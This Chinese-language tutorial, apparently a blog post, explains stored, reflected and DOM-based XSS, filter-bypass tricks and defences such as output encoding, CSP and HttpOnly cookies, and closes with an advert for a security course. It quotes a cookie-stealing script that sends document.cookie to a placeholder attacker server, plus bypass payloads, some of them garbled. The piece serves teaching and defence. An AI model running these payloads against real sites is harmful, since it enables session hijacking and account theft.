跨站脚本攻击(Cross-Site Scripting,简称XSS)是Web应用中最常见的高危漏洞之一,位列OWASP Top 10多年,其核心是攻击者通过注入恶意脚本,在用户浏览器中执行非预期操作,窃取敏感信息、劫持用户会话或篡改页面内容。相较于SQL注入,XSS攻击场景更灵活、绕过方式更多样,且易被开发者忽视,成为Web安全防护的重点与难点。
本文从XSS攻击的核心原理出发,拆解三大类型XSS的攻击逻辑、实战场景与绕过技巧,结合工具实操与防御方案,帮你全面掌握XSS攻击的“攻与防”,避开开发与测试中的常见误区。
一、XSS攻击核心原理:为什么能成功注入?
XSS攻击的本质是“输入输出未做严格过滤”。Web应用若未对用户输入的内容进行校验、编码,直接将其嵌入页面HTML中,当用户访问该页面时,浏览器会将注入的恶意脚本当作合法代码执行,从而实现攻击目的。
核心前提条件:
用户输入可控:攻击者能通过输入框、URL参数、Cookie、评论区等渠道,向Web应用注入恶意脚本;
输出未做过滤:应用将用户输入的内容直接渲染到页面,未进行HTML编码、转义等处理,导致脚本被执行;
浏览器信任机制:浏览器默认信任页面中的脚本,无法区分合法脚本与恶意脚本,直接执行所有符合语法的代码。
XSS攻击的核心危害:窃取用户Cookie、SessionID劫持会话、钓鱼欺诈、篡改页面内容、传播恶意代码、获取用户摄像头/麦克风权限等。
二、XSS攻击三大类型:场景与攻击逻辑拆解
- 存储型XSS(Persistent XSS):最危险的长效攻击
核心特点:恶意脚本被永久存储在目标Web应用的数据库、评论区、用户资料等位置,所有访问该页面的用户都会触发脚本执行,影响范围广、持续时间长,危害最大。
(1)攻击流程
攻击者在用户输入框(如评论区、留言板)输入含恶意脚本的内容;
Web应用未过滤直接将内容存入数据库;
其他用户访问包含该内容的页面时,应用从数据库读取恶意脚本并渲染到页面;
用户浏览器执行恶意脚本,攻击者实现攻击目的(如窃取Cookie)。
(2)实战案例:评论区存储型XSS
假设某博客网站评论区未做过滤,攻击者输入以下内容并提交:
<script>var img=new Image();img.src="http://攻击者服务器/steal?cookie="+document.cookie;</script>该脚本会被存入数据库,当其他用户查看评论时,脚本执行并将自身Cookie发送至攻击者服务器,攻击者可利用Cookie劫持用户会话,登录用户账号。
- 反射型XSS(Reflected XSS):一次性触发攻击
核心特点:恶意脚本通过URL参数、表单提交等方式传入Web应用,应用直接将其反射到页面中执行,脚本不存储在服务器,仅对单次访问有效,需诱导用户点击恶意URL才能触发,危害范围相对有限。
(1)攻击流程
攻击者构造含恶意脚本的URL(如将脚本嵌入URL参数);
通过钓鱼邮件、社交软件等方式诱导用户点击该URL;
用户点击后,服务器将URL中的恶意脚本反射到页面并渲染;
浏览器执行脚本,完成攻击。
(2)实战案例:URL参数反射型XSS
假设某网站搜索页通过URL参数接收搜索关键词,页面直接渲染关键词,攻击者构造如下URL:
http://目标网站/search?key=<script>alert("XSS攻击")</script>用户点击该URL后,页面会执行alert脚本,若替换为窃取Cookie的脚本,即可实现会话劫持。此类XSS常被用于钓鱼攻击,诱导用户输入敏感信息。
- DOM型XSS(DOM-Based XSS):基于页面DOM操作的攻击
核心特点:恶意脚本不经过服务器交互,仅通过客户端DOM操作触发。页面JavaScript代码从URL、Cookie等位置获取数据后,直接修改DOM结构,若未做过滤,会导致恶意脚本执行,属于纯客户端层面的攻击。
(1)攻击流程
攻击者构造含恶意脚本的URL,诱导用户点击;
用户浏览器加载页面,页面JavaScript读取URL中的恶意内容;
JavaScript将恶意内容插入DOM树,导致脚本执行;
攻击完成,全程不与服务器交互,难以被服务器层面的防护设备检测。
(2)实战案例:DOM操作触发XSS
页面存在如下JavaScript代码,从URL参数name中获取值并插入页面:
var name = location.href.split("name=")[1]; document.getElementById("username").innerHTML = name;攻击者构造URL:
http://目标网站/page?name=<script>stealCookie()</script>JavaScript读取name参数后,通过innerHTML插入DOM,直接执行恶意脚本。此类XSS因不经过服务器,WAF等设备难以拦截,防御难度更高。
三、XSS攻击绕过技巧:常见防御突破方法
脚本标签变形:使用
<script>的变形形式,如<scr事件触发绕过:不使用script>标签,通过HTML事件执行脚本,如img src=x οnerrοr=alert(1)>、a href=javascript:alert(1)>点击/a>`;编码绕过:对恶意脚本进行HTML实体编码、URL编码、Base64编码,若应用仅过滤原始脚本,未解码校验则会被绕过;
拼接绕过:将脚本拆分拼接,如
<script>var a="al";var b="ert";eval(a+b+"(1)")</script>,绕过关键词过滤;框架嵌套绕过:通过
<iframe>、<frame>嵌套恶意页面,间接执行脚本。Burp Suite:核心用于手动检测与利用XSS,通过Repeater模块构造Payload,Scanner模块批量扫描XSS漏洞,支持Payload编码、变形,适配各类XSS场景;
OWASP ZAP:开源Web安全扫描工具,可自动扫描存储型、反射型XSS,生成漏洞报告,适合新手入门;
XSS Hunter:专门用于检测XSS漏洞的在线工具,提供恶意Payload,若漏洞触发,会向平台发送通知,精准定位可利用的XSS点。
- 脚本利用工具
Cookie窃取脚本:通过
Image、XMLHttpRequest将Cookie发送至攻击者服务器,配合PHP脚本接收存储;BeEF(Browser Exploitation Framework):强大的浏览器劫持框架,通过XSS漏洞注入Hook脚本,可远程控制用户浏览器,执行弹窗、窃取信息、端口扫描等操作。
四、XSS攻击防御方案:从开发到部署全维度防护
- 输入过滤:源头阻断恶意内容
严格校验输入格式:对用户输入的内容进行类型、长度、格式校验,如手机号、邮箱仅允许符合规则的字符;
过滤危险关键词:拦截
<script>、onerror、javascript:等危险标签与事件,可使用安全库(如Java的OWASP ESAPI)实现;白名单机制:仅允许指定的合法字符输入,拒绝所有未知字符,防护效果优于黑名单。
- 输出编码:渲染时转义恶意脚本
无论输入是否过滤,输出到页面时都需进行编码转义,将特殊字符转换为HTML实体,使浏览器当作文本渲染,不执行脚本:
HTML编码:将
<转义为<、>转义为>、"转义为"、'转义为';JavaScript编码:在JavaScript语境中输出时,使用
\转义特殊字符,或使用JSON.stringify()处理;URL编码:输出到URL参数时,使用
encodeURIComponent()编码,避免参数注入。
- 安全配置:增强浏览器防护能力
开启CSP(内容安全策略):通过HTTP响应头
Content-Security-Policy限制脚本加载源,仅允许信任的域名加载脚本,禁止内联脚本、eval执行,从浏览器层面阻断XSS;设置Cookie安全属性:为Cookie添加
HttpOnly属性(禁止JavaScript读取)、Secure属性(仅HTTPS传输)、SameSite属性(限制跨域发送),防止Cookie被窃取;禁用不必要的API:关闭页面中未使用的JavaScript API,如
eval()、innerHTML(优先使用textContent),减少攻击面。
- 测试验证:上线前全面排查
手动测试:针对所有用户输入点,构造各类XSS Payload,验证过滤与编码效果;
自动化扫描:使用Burp Suite、OWASP ZAP等工具批量扫描,覆盖存储型、反射型、DOM型XSS;
代码审计:检查代码中输入输出处理逻辑,重点排查
innerHTML、document.write等危险API的使用。
五、总结:XSS防护的核心是“敬畏输入,严格编码”
XSS攻击的本质是开发者对用户输入的“信任过度”,看似简单的脚本注入,却可能引发用户信息泄露、账号被盗、业务受损等严重后果。防御XSS无需复杂技术,关键在于形成“输入必过滤、输出必编码”的开发习惯,结合CSP、Cookie安全配置等手段,构建多层防护体系。
对安全从业者而言,掌握XSS的攻击与防御逻辑,不仅能精准挖掘漏洞、保障系统安全,更能培养“攻击者视角”的安全思维,为后续学习更复杂的Web漏洞奠定基础。
学习资源
如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你
知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。
1、知识库价值
深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。
广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。
实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。
2、 部分核心内容展示
360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。
360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。
内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。
1、网络安全意识
2、Linux操作系统
3、WEB架构基础与HTTP协议
4、Web渗透测试
5、渗透测试案例分享
6、渗透测试实战技巧
7、攻防对战实战
8、CTF之MISC实战讲解
3、适合学习的人群
一、基础适配人群
- 零基础转型者:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链;
- 开发/运维人员:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展或者转行就业;
- 应届毕业生:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期;
二、能力提升适配
1、技术爱好者:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者;
2、安全从业者:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力;
3、合规需求者:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员;
因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源